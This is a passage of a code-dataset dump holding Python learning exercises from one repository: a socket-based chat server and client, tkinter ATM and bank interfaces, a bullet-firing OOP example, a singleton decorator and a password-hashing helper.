端口\n :return: server socket对象\n '''\n sk = socket(AF_INET, SOCK_STREAM)\n sk.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) # 操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口\n sk.bind((IP, int(PORT)))\n sk.listen(50)\n memory.server_socket = sk # 保存到memory\n return sk\n\n\ndef distribute_handler(clienSocket, clientAddr):\n '''\n accept()等待客户端连接之后此函数负责处理服务请求,分别分发到不同的模块进行处理\n :param clienSocket:\n :param clientAddr:\n :return:\n '''\n\n while True:\n try:\n data = clienSocket.recv(4096)\n msg = common_handler.unpack_message(data)\n # Recv large file\n if msg[0] == common_handler.MessageType.large_file:\n msg_buffer += msg[1]\n if msg[2] == 0:\n msg = msg_buffer\n msg_buffer = None\n else:\n continue\n\n if msg[0] == common_handler.MessageType.register:\n # Register\n print(\"接收到注册请求\")\n register.register_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.login:\n # Login\n print(\"接收到登录请求\")\n login.login_handler(clienSocket, clientAddr, msg)\n\n elif msg[0] == common_handler.MessageType.clientAddrd_friend:\n # clientAddrd friend\n print(\"接收到添加好友请求\")\n manage_friend.clientAddrd_friend_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.confirm_friend_request:\n # confirm clientAddrd friend\n print(\"接收到确认添加好友请求\")\n manage_friend.confirm_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.delete_friend:\n # delete friend\n print(\"接收到删除好友请求\")\n manage_friend.del_friend_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.query_friend:\n # Get friend infomation\n print(\"接收到获取好友列表请求\")\n manage_friend.get_friend_handler(clienSocket)\n\n elif msg[0] == common_handler.MessageType.send_message:\n # Chat message\n print(\"接收到发送消息请求\")\n chat_msg.userchat_handler(msg)\n\n elif msg[0] == common_handler.MessageType.chatroom_message:\n # Chatroom message\n print(\"接收到聊天室信息请求\")\n chat_msg.chatroom_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.broclientAddrcast:\n # BroclientAddrcast message\n print(\"接收到广播请求\")\n chat_msg.broclientAddrcast_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.create_room:\n # Create chatroom\n print(\"接收到创建群聊请求\")\n manage_group.chatroom_handler(clienSocket, msg)\n\n elif msg[0] == common_handler.MessageType.join_room:\n # User join/leave chatroom\n print(\"接收到加入/退出群聊请求\")\n manage_group.user_join_leave_handler(clienSocket, msg, \"join\")\n\n elif msg[0] == common_handler.MessageType.leave_room:\n # User join/leave chatroom\n print(\"接收到加入/退出群聊请求\")\n manage_group.user_join_leave_handler(clienSocket, msg, \"leave\")\n\n elif msg[0] == common_handler.MessageType.logout:\n # User logout\n print(\"接收到用户登出信号\")\n login.logout_handler(clienSocket)\n\n elif msg[0] == common_handler.MessageType.query_room_users:\n print(\"收到用户请求刷新聊天室列表\")\n manage_group.query_chatroom_user(clienSocket, msg)\n\n except struct.error:\n pass\n except ConnectionResetError as e:\n print(e)\n del memory.online_user[clienSocket]\n memory.window.clientAddrd_user_list()\n except OSError as e:\n pass\n # except Exception as e:\n # print(\"服务器接收信息时遇到一个未知问题 >>\", e)\n\n\ndef server_handler(sk):\n '''\n Loop monitor, receive data, simple handler and distribute\n data to different modules for further processing.\n '''\n print(\"Server is running...\")\n while True:\n try:\n clienSocket, clientAddr = sk.accept()\n print(clientAddr)\n except KeyboardInterrupt:\n os._exit(0)\n except Exception:\n continue\n\n th1 = Thread(target=distribute_handler, args=(clienSocket, clientAddr))\n th1.start()\n\n\ndef run(IP, PORT):\n sk = server(IP, PORT)\n server_handler(sk)\n\n\nif __name__ == '__main__':\n run()" }, { "alpha_fraction": 0.5113835334777832, "alphanum_fraction": 0.5166375041007996, "avg_line_length": 10.600000381469727, "blob_id": "7c5aa096154fda0063dc46c8e1cffbd761ce80fb", "content_id": "6d14284b88561d0f354341c387bc1655fa44637a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 665, "license_type": "permissive", "max_line_length": 64, "num_lines": 45, "path": "/py-basis/人射击子弹/main.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\n'''\r\n\r\n人:Person\r\n属性:枪\r\n行为:开火 装弹\r\n\r\n枪:Gun\r\n属性:弹夹\r\n行为:射击\r\n\r\n弹夹:BulletBox\r\n属性:子弹列表 子弹数量\r\n行为:\r\n\r\n\r\n子弹:Bullet\r\n'''\r\nfrom person import Person\r\nfrom gun import Gun\r\nfrom box import Box\r\nfrom bullet import Bullet\r\n\r\n\r\n\r\ndef main():\r\n bullets = [Bullet(), Bullet(), Bullet(), Bullet(), Bullet()]\r\n box = Box(bullets, 5)\r\n gun = Gun(box)\r\n per = Person(gun)\r\n\r\n\r\n #开枪\r\n per.fire()\r\n per.fire()\r\n per.fire()\r\n per.fire()\r\n per.fire()\r\n per.changeBox(5)\r\n per.fire()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n" }, { "alpha_fraction": 0.5660691857337952, "alphanum_fraction": 0.6058079600334167, "avg_line_length": 29.818584442138672, "blob_id": "8023495878f7346c4f0425a711cf216372603efa", "content_id": "9d7be1e3760453c4b47a9cb3b9101404458c5905", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8575, "license_type": "permissive", "max_line_length": 115, "num_lines": 226, "path": "/py-basis/各组银行系统带界面/第三组/MyMenus.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nimport csvload as cv\r\nimport time\r\n\r\ndef Menus(me): # 界面\r\n\told = \"\"\r\n\tnew = \"\"\r\n\tSelection = 0 #功能选择标志\r\n\tdef Lock(): #锁定 Selection = 1\r\n\t\tnonlocal Selection\r\n\t\tSelection = 1\r\n\t\tte.insert(tkinter.END, \"您申请锁定操作,请在下方输入您的身份证号!\\n\")\r\n\r\n\tdef UnLock(): #解锁 Selection = 2\r\n\t\tnonlocal Selection\r\n\t\tSelection = 2\r\n\t\tte.insert(tkinter.END, \"您申请解锁操作,请在下方输入您的身份证号!\\n\")\r\n\r\n\tdef LookScore(): #查询余额\r\n\t\ttemp = \"余额:%s 元\\n\" % me.getScore()\r\n\t\tte.insert(tkinter.END, temp)\r\n\r\n\tdef SaveScore(): #存款 Selection = 3\r\n\t\tnonlocal Selection\r\n\t\tSelection = 3\r\n\t\tte.insert(tkinter.END, \"请输入存款金额!\\n\")\r\n\r\n\tdef SubScore(): #取款 Selection = 4\r\n\t\tnonlocal Selection\r\n\t\tSelection = 4\r\n\t\tte.insert(tkinter.END, \"请输入取款金额!\\n\")\r\n\r\n\tdef ToScore(): #转款 Selection = 5\r\n\t\tnonlocal Selection\r\n\t\tSelection = 5\r\n\t\tte.insert(tkinter.END, \"请输入您要转账的对方的卡号!\\n\")\r\n\r\n\tdef ChangePwd(): #修改密码 Selection = 6\r\n\t\tnonlocal Selection\r\n\t\tSelection = 6\r\n\t\tte.insert(tkinter.END, \"请输入原始密码!\\n\")\r\n\r\n\r\n\r\n\tdef func(): #总函数\r\n\t\tnonlocal old\r\n\t\tnonlocal new\r\n\t\tnonlocal Selection\r\n\t\tnonlocal me\r\n\t\tif Selection == 0:\r\n\t\t\tte.insert(tkinter.END, \"请先选择您的操作!!!\\n\")\r\n\t\t\ten.delete(0, tkinter.END)\r\n\t\telif Selection == 1: #锁定\r\n\t\t\ttemp = cv.Lock(me, en.get(),1)\r\n\t\t\tif temp == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您输入的身份证信息错误!\\n\")\r\n\t\t\telse:\r\n\t\t\t\tme = temp\r\n\t\t\t\tla8.config(text = me.getFlag())\r\n\t\t\t\tte.insert(tkinter.END, \"操作成功!用户已被锁定!\\n\")\r\n\t\t\tSelection = 0\r\n\t\t\ten.delete(0, tkinter.END)\r\n\r\n\t\telif Selection == 2: #解锁\r\n\t\t\ttemp = cv.Lock(me, en.get(),0)\r\n\t\t\tif temp == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您输入的身份证信息错误!\\n\")\r\n\t\t\telse:\r\n\t\t\t\tme = temp\r\n\t\t\t\tla8.config(text = me.getFlag())\r\n\t\t\t\tte.insert(tkinter.END, \"操作成功!用户已解锁!\\n\")\r\n\t\t\tSelection = 0\r\n\t\t\ten.delete(0, tkinter.END)\r\n\r\n\t\telif Selection == 3: #存款\r\n\t\t\ttemp = cv.saveScore(me, en.get(), \"+\")\r\n\t\t\tif temp == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您的卡已被锁定,请解锁!\\n\")\r\n\t\t\telse:\r\n\t\t\t\tme = temp\r\n\t\t\t\tte.insert(tkinter.END, \"操作成功!当前余额: %s 元\\n\" % me.getScore())\r\n\t\t\tSelection = 0\r\n\t\t\ten.delete(0, tkinter.END)\r\n\r\n\t\telif Selection == 4: #取款\r\n\t\t\ttemp = cv.saveScore(me, en.get(), \"-\")\r\n\t\t\tif temp == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您的卡已被锁定,请解锁!\\n\")\r\n\t\t\telif temp == \"负数\":\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!余额不足!\\n\")\r\n\t\t\telse:\r\n\t\t\t\tme = temp\r\n\t\t\t\tte.insert(tkinter.END, \"操作成功!正在吐钞。。。\\n\")\r\n\t\t\t\ttime.sleep(2)\r\n\t\t\t\tte.insert(tkinter.END, \"当前余额: %s 元\\n\" % me.getScore())\r\n\t\t\tSelection = 0\r\n\t\t\ten.delete(0, tkinter.END)\r\n\r\n\t\telif Selection == 5: # 转账1\r\n\t\t\told = en.get()\r\n\t\t\tif cv.reInfo(old) == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您输入的账户不存在!\\n\")\r\n\t\t\t\tSelection = 0\r\n\t\t\t\ten.delete(0, tkinter.END)\r\n\t\t\telse:\r\n\t\t\t\tte.insert(tkinter.END, \"您即将对用户【%s】进行转账操作!\\n\" % cv.reInfo(old))\r\n\t\t\t\tSelection = 50\r\n\t\t\t\ten.delete(0, tkinter.END)\r\n\t\t\t\tte.insert(tkinter.END, \"请输入转账金额!\\n\")\r\n\r\n\t\telif Selection == 50: # 转账2\r\n\t\t\tnew = en.get()\r\n\t\t\ttemp = cv.toScore(me, old, new)\r\n\t\t\tif temp == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您的账户已被锁定!请解锁后继续操作\\n\")\r\n\t\t\telif temp == \"负数\":\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!余额不足!\\n\")\r\n\t\t\telse:\r\n\t\t\t\tme = temp\r\n\t\t\t\tte.insert(tkinter.END, \"操作成功!当前余额: %s 元\\n\" % me.getScore())\r\n\t\t\tSelection = 0\r\n\t\t\ten.delete(0, tkinter.END)\r\n\r\n\t\telif Selection == 6: #修改密码1\r\n\t\t\told = en.get()\r\n\t\t\tSelection = 60\r\n\t\t\ten.delete(0, tkinter.END)\r\n\t\t\tte.insert(tkinter.END, \"请输入新密码!\\n\")\r\n\r\n\t\telif Selection == 60: #修改密码2\r\n\t\t\tnew = en.get()\r\n\t\t\ttemp = cv.changePwd(me, old, new)\r\n\t\t\tif temp == False:\r\n\t\t\t\tte.insert(tkinter.END, \"对不起!您输入的原始密码不正确!\\n\")\r\n\t\t\telse:\r\n\t\t\t\tme = temp\r\n\t\t\t\tte.insert(tkinter.END, \"操作成功!请牢记新密码哦!\\n\" )\r\n\t\t\tSelection = 0\r\n\t\t\ten.delete(0, tkinter.END)\r\n\r\n\r\n\twin = tkinter.Tk()\r\n\twin.title(\"中国假设银行ATM自动取款机\")\r\n\twin.geometry(\"750x300+300+200\")\r\n\twin.maxsize(750, 300)\r\n\twin.minsize(750, 300) # 控制窗口的大小,让窗口大小不能改变\r\n\twin[\"background\"] = \"pink\"\r\n\r\n\t# 标签控件声明\r\n\tla1 = tkinter.Label(win, text=\"欢迎来到中国假设银行办理业务!\", bg=\"pink\", fg=\"red\", font=(\"Arial\", 15), anchor=tkinter.SW,\r\n\t\t\t\t\t\twidth=50, height=2, justify=\"center\")\r\n\tla2 = tkinter.Label(win, text=\"用户名:\", bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\tla3 = tkinter.Label(win, text=\"卡号:\", bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\tla4 = tkinter.Label(win, text=\"请输入:\", bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\t# 用以显示账户姓名\r\n\tla5 = tkinter.Label(win, text=me.name, bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\t# 用以显示账户卡号\r\n\tla6 = tkinter.Label(win, text=me.cards, bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\tla7 = tkinter.Label(win, text=\"锁定状态:\", bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\tla8 = tkinter.Label(win, text=me.getFlag(), bg=\"pink\", fg=\"blue\", font=(\"Arial\", 12), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\tla9 = tkinter.Label(win, text=\"提示面板:\", bg=\"pink\", fg=\"blue\", font=(\"Arial\", 9), anchor=tkinter.SW, width=50,\r\n\t\t\t\t\t\theight=2, justify=\"center\")\r\n\r\n\t# text控件声明\r\n\tte = tkinter.Text(win, width=50, height=10) # 用以显示操作结果成功还是失败\r\n\r\n\t# Entry控件声明\r\n\ten = tkinter.Entry(win) # 输入金额、转账的账户卡号等输入操作\r\n\r\n\t# 按钮控件声明\r\n\tbutton0 = tkinter.Button(win, text=\"查询余额\", width=9, height=1, command=LookScore, bg=\"green\")\r\n\tbutton1 = tkinter.Button(win, text=\"存款\", width=9, height=1, command=SaveScore, bg=\"green\")\r\n\tbutton2 = tkinter.Button(win, text=\"取款\", width=9, height=1, command=SubScore, bg=\"green\")\r\n\tbutton3 = tkinter.Button(win, text=\"转账\", width=9, height=1, command=ToScore, bg=\"green\")\r\n\tbutton4 = tkinter.Button(win, text=\"修改密码\", width=9, height=1, command=ChangePwd, bg=\"green\")\r\n\tbutton5 = tkinter.Button(win, text=\"退出\", width=9, height=1, command=win.destroy, bg=\"green\")\r\n\tbutton6 = tkinter.Button(win, text=\"确认\", width=9, height=1, command=func, bg=\"green\")\r\n\tbutton7 = tkinter.Button(win, text=\"锁定\", width=7, height=1,command=Lock, bg=\"green\")\r\n\tbutton8 = tkinter.Button(win, text=\"解锁\", width=7, height=1,command=UnLock, bg=\"green\")\r\n\r\n\t# 整体布局设置\r\n\tla1.place(x=280, y=0) # 欢迎来到中国假设银行办理业务!\r\n\tla2.place(x=15, y=50) # 用户名\r\n\tla3.place(x=15, y=100) # 卡号\r\n\tla4.place(x=270, y=250) # 请输入\r\n\tla5.place(x=80, y=52) # 用以显示账户姓名\r\n\tla6.place(x=65, y=102) # 用以显示账户卡号\r\n\tla7.place(x=15, y=200) # 卡锁定状态\r\n\tla8.place(x=100, y=200) # 未锁定\r\n\tla9.place(x=260, y=74) # 提示面板\r\n\r\n\tte.place(x=250, y=110) # 用以显示操作结果成功还是失败\r\n\ten.place(x=350, y=270) # 输入金额、转账的账户卡号等输入操作\r\n\r\n\tbutton0.place(x=650, y=25) # 查询余额\r\n\tbutton1.place(x=650, y=65) # 存款\r\n\tbutton2.place(x=650, y=105) # 取款\r\n\tbutton3.place(x=650, y=145) # 转账\r\n\tbutton4.place(x=650, y=185) # 修改密码\r\n\tbutton5.place(x=650, y=225) # 退出\r\n\tbutton6.place(x=525, y=265) # 确认\r\n\tbutton7.place(x=15, y=250) # 锁定\r\n\tbutton8.place(x=90, y=250) # 解锁\r\n\r\n\twin.mainloop()\r\n\r\nif __name__ == \"__main__\":\r\n\tcv.loading()\r\n\tcards = input(\"请输入卡号:\")\r\n\tpwd = input(\"请输入密码:\")\r\n\tme = cv.isPerson(cards,pwd)\r\n\tif me:\r\n\t\tprint(\"登陆成功!\")\r\n\t\tMenus(me)\r\n\telse:\r\n\t\tprint(\"卡号或者密码错误!\")\r\n\tprint(\"正在保存数据。。\")\r\n\tcv.Writing()\r\n\tprint(\"程序结束!\")\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5223880410194397, "alphanum_fraction": 0.5261194109916687, "avg_line_length": 17.285715103149414, "blob_id": "e48b56e25b6bdc28c69f7973c0fc61eaf347e292", "content_id": "89004087ed414dacbde9e16d3515f8a2d1524da1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 318, "license_type": "permissive", "max_line_length": 53, "num_lines": 14, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Control/card.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n'''\r\n银行卡类:\r\n 属性:卡号、密码、余额、状态(是否锁定)\r\n\r\n'''\r\n\r\nclass Card(object):\r\n\r\n def __init__(self, cardId, passwd, money,status):\r\n self.card_id = cardId\r\n self.passwd = passwd\r\n self.money = money\r\n self.status = status" }, { "alpha_fraction": 0.5351310968399048, "alphanum_fraction": 0.5870856046676636, "avg_line_length": 45, "blob_id": "eb559006a338e407b469764ffca5ac7db4e8c6ad", "content_id": "78bd29a8aeff4da7356e86205efcb58c92fb815f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4056, "license_type": "permissive", "max_line_length": 124, "num_lines": 86, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/InputPasswd.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File : InputPasswd.py\r\n# @Author: Janus\r\n# @Date : 2018/8/15\r\n# @Desc :\r\nimport tkinter\r\nfrom tkinter import *\r\nfrom atm import ATM\r\nARIAL = (\"arial\",10,\"bold\")\r\nclass inputPasswd():\r\n def __init__(self, win,passwd):\r\n self.passwd = passwd\r\n self.win = win\r\n self.atm = ATM()\r\n\r\n # self.header = Label(self.win, text=\"TAN BANK\", bg=\"#50A8B0\", fg=\"white\", font=(\"arial\", 20, \"bold\"))\r\n # self.header.grid(row = 0, column = 0)\r\n self.uentry = Entry(win, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.pentry = Entry(win, bg=\"honeydew\", show=\"*\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.top_frame = Frame(self.win, bg=\"#50A8B0\")\r\n self.frame = Frame(self.win, bg=\"#728B8E\", width=40, height=12)\r\n self.left_frame = Frame(self.win)\r\n self.right_frame = Frame(self.win)\r\n\r\n self.top_frame.grid(row=0, columnspan=3)\r\n self.frame.grid(row=1, column=1)\r\n self.left_frame.grid(row=1, column=0)\r\n self.right_frame.grid(row=1, column=2)\r\n\r\n self.header = Label(self.top_frame, text=\"TAN BANK\", bg=\"#50A8B0\", fg=\"white\", font=(\"arial\", 20, \"bold\"), width=40)\r\n self.header.grid()\r\n\r\n self.content = tkinter.Text(self.frame, width=40, height=12, font=(\"arial\", 15, \"bold\"), bg=\"#728B8E\", fg=\"white\")\r\n\r\n self.content.grid(row=0)\r\n info = self.inputPasswd()\r\n self.content.insert(tkinter.INSERT, info)\r\n self.content.config(stat=DISABLED)\r\n\r\n self.lb1 = Button(self.left_frame, text=\"LB1\", width=10, height=3)\r\n self.lb2 = Button(self.left_frame, text=\"LB2\", width=10, height=3)\r\n self.lb3 = Button(self.left_frame, text=\"LB3\", width=10, height=3)\r\n self.lb4 = Button(self.left_frame, text=\"LB4\", width=10, height=3)\r\n\r\n # self.lb1.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n # self.lb2.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n # self.lb3.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n self.lb1.grid(row=0, column=0, sticky=E, padx=5, pady=5)\r\n self.lb2.grid(row=1, column=0, sticky=E, padx=5, pady=5)\r\n self.lb3.grid(row=2, column=0, sticky=E, padx=5, pady=5)\r\n self.lb4.grid(row=3, column=0, sticky=E, padx=5, pady=5)\r\n\r\n self.rb1 = Button(self.right_frame, text=\"RB1\", width=10, height=3)\r\n self.rb2 = Button(self.right_frame, text=\"RB2\", width=10, height=3)\r\n self.rb3 = Button(self.right_frame, text=\"RB3\", width=10, height=3)\r\n self.rb4 = Button(self.right_frame, text=\"RB4\", width=10, height=3)\r\n\r\n # self.rb1.pack(side=tkinter.RIGHT ,fill=tkinter.Y)\r\n # self.rb2.pack(side=tkinter.RIGHT, fill=tkinter.Y)\r\n # self.rb3.pack(side=tkinter.RIGHT, fill=tkinter.Y)\r\n self.rb1.grid(row=0, column=0, sticky=W, padx=5, pady=5)\r\n self.rb2.grid(row=1, column=0, sticky=W, padx=5, pady=5)\r\n self.rb3.grid(row=2, column=0, sticky=W, padx=5, pady=5)\r\n self.rb4.grid(row=3, column=0, sticky=W, padx=5, pady=5)\r\n\r\n\r\n def inputPasswd_view(self):\r\n\r\n self.plabel1 = Label(self.content, text=\"请输入密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry1 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40, show=\"*\")\r\n\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL, command=self.inputPasswd)\r\n self.plabel1.place(x=125, y=200, width=200, height=30)\r\n self.pentry1.place(x=160, y=230, width=200, height=30)\r\n self.button.place(x=170, y=280, width=120, height=20)\r\n\r\n\r\n def inputPasswd(self):\r\n return self.atm.inputPasswd(self.passwd,self.pentry1.get())\r\n" }, { "alpha_fraction": 0.5491803288459778, "alphanum_fraction": 0.6004098653793335, "avg_line_length": 19.33333396911621, "blob_id": "bac62543dafd594d8d7fd45f1706eda5074b3e67", "content_id": "46b0ae3c95e086b90ba302202b3bfd9c35ee4ee0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 512, "license_type": "permissive", "max_line_length": 51, "num_lines": 24, "path": "/py-basis/QQ简易版/client/security.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 密码加密模块\n@Time : 2018/8/19 下午9:25\n@Author : 北冥神君\n@File : security.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom Crypto.Hash import MD5\n\n\ndef loop_encrypt(pwd, n=10):\n # Salt encrypt and recursion 10 times.\n salt = 'jeremyjone'\n md5_obj = MD5.new()\n md5_obj.update((pwd + salt).encode())\n # print(n, md5_obj.hexdigest())\n if n == 1:\n return md5_obj.hexdigest()\n return loop_encrypt(md5_obj.hexdigest(), n - 1)\n" }, { "alpha_fraction": 0.4528301954269409, "alphanum_fraction": 0.4716981053352356, "avg_line_length": 9, "blob_id": "a52620609c452087820ad179c944fe5e98938843", "content_id": "733de68aaac41fcda2ab639294657c3a625831d1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 53, "license_type": "permissive", "max_line_length": 22, "num_lines": 5, "path": "/py-basis/人射击子弹/bullet.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\n\r\nclass Bullet():\r\n pass" }, { "alpha_fraction": 0.561391294002533, "alphanum_fraction": 0.5732173919677734, "avg_line_length": 25.136363983154297, "blob_id": "083917505c25d86104da82f920b8138caf23e441", "content_id": "c70edacf2080e4c0f480b5cf3193e68f7fb18742", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3133, "license_type": "permissive", "max_line_length": 74, "num_lines": 110, "path": "/py-basis/QQ简易版/client/client_socket.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 该模块为客户端提供方法和接口连接到服务器。\n@Time : 2018/8/19 下午9:22\n@Author : 北冥神君\n@File : client_socket.py\n@Software: PyCharm\n\"\"\"\n\nfrom socket import *\nfrom threading import Thread\n\nfrom . import memory, contact_form, chat_form, common_handler\n\n\ndef send_msg(data):\n memory.sc.send(data)\n\n\ndef recv_msg(c):\n try:\n msg = c.recv(4096)\n except Exception:\n pass\n return msg\n\n\ndef connect_to_server(IP, PORT):\n s = socket(AF_INET, SOCK_STREAM)\n try:\n s.connect((IP, int(PORT)))\n return s\n except Exception:\n return \"connect_fail\"\n\n\ndef keep_recv():\n print(\"线程启动\")\n msg_buffer = None\n while True:\n # try:\n print(\"开始监听\")\n data = memory.sc.recv(4096)\n msg = common_handler.unpack_message(data)\n # Recv large file\n if msg[0] == common_handler.MessageType.large_file:\n msg_buffer += msg[1]\n if msg[2] == 0:\n msg = msg_buffer\n msg_buffer = None\n else:\n continue\n\n elif msg[0] == common_handler.MessageType.query_friend_list:\n # friend_list\n print(\"收到好友列表\")\n contact_form.show(msg)\n\n elif msg[0] == common_handler.MessageType.on_new_message:\n # chatmsg\n print(\"接收到聊天信息\")\n chat_form.chatmsg_handler(msg)\n\n elif msg[0] == common_handler.MessageType.chatroom_msg:\n # chatroom_msg\n print(\"接收到群聊信息\")\n chat_form.chatroom_msg_handler(msg)\n\n elif msg[0] == common_handler.MessageType.create_room_res:\n print(\"接收到创建聊天室反馈信息\")\n contact_form.chatroom_handler(msg)\n\n elif msg[0] == common_handler.MessageType.query_room_users_result:\n print(\"接收到创建聊天室反馈信息\")\n chat_form.chatroom_user_update(msg)\n\n elif msg[0] == common_handler.MessageType.user_not_exist:\n print(\"接收到希望添加的好友不存在\")\n contact_form.recive_some_info(msg)\n\n elif msg[0] == common_handler.MessageType.add_friend_request:\n print(\"接收到添加好友请求\")\n contact_form.recive_some_info(msg)\n\n elif msg[0] == common_handler.MessageType.add_friend_result:\n print(\"接收到确认添加好友回复\")\n contact_form.recive_some_info(msg)\n\n elif msg[0] == common_handler.MessageType.join_leave_chatroom:\n print(\"接收到出入聊天室\")\n contact_form.recive_some_info(msg)\n\n elif msg[0] == common_handler.MessageType.delete_friend_failed:\n print(\"接收到删除好友失败\")\n contact_form.recive_some_info(msg)\n\n # except struct.error:\n # pass\n # except Exception as e:\n # print(e)\n memory.sc.close()\n\n\ndef keep_connect_listener():\n t = Thread(target=keep_recv)\n memory.recv_msg_thread = t\n t.start()\n return\n" }, { "alpha_fraction": 0.5864979028701782, "alphanum_fraction": 0.6118143200874329, "avg_line_length": 21.799999237060547, "blob_id": "d8e3d4babf9423bed3a72814d4cc5b94f78faefa", "content_id": "95dff3f0a02e88fdd37cdc6a357a24bcd4b5e2a9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 642, "license_type": "permissive", "max_line_length": 49, "num_lines": 20, "path": "/py-basis/msql/singleton.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n@content : 单例\r\n@Time : 2018/8/27 下午6:24\r\n@Author : 北冥神君\r\n@File : singleton.py\r\n@Software: PyCharm\r\n\"\"\"\r\n# 实际项目中,可能会在多个不同的方法中使用MySQL链接,如果每次都新建、关闭连接,\r\n# 当访问量高时可能会造服务器崩溃无法访问等问题,而单例模式可以很好的解决这个问题。\r\n\r\ndef Singleton(cls):\r\n instances = {}\r\n def get_instance(*args, **kwargs):\r\n if cls not in instances:\r\n instances[cls] = cls(*args, **kwargs)\r\n return instances[cls]\r\n return get_instance" }, { "alpha_fraction": 0.5274261832237244, "alphanum_fraction": 0.5780590772628784, "avg_line_length": 13.8125, "blob_id": "d8af64060db2f275ff4a20551816a829adecc0a5", "content_id": "b6498dc82ef1a6fd3ad21522e9f5667f94f4e570", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "permissive", "max_line_length": 34, "num_lines": 16, "path": "/py-basis/QQ简易版/run_server.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 服务器主程序\n@Time : 2018/8/19 下午9:53\n@Author : 北冥神君\n@File : run_server.py\n@Software: PyCharm\n\"\"\"\n\n\nimport server.server_window as ssw\n\nif __name__ == '__main__':\n ssw.run()\n" }, { "alpha_fraction": 0.5682106614112854, "alphanum_fraction": 0.5770938992500305, "avg_line_length": 30.20792007446289, "blob_id": "8d5230b322b77823086b8e900e540ca4230008a8", "content_id": "ef2fbce53503284b16f71670e57f270c58cf1983", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3230, 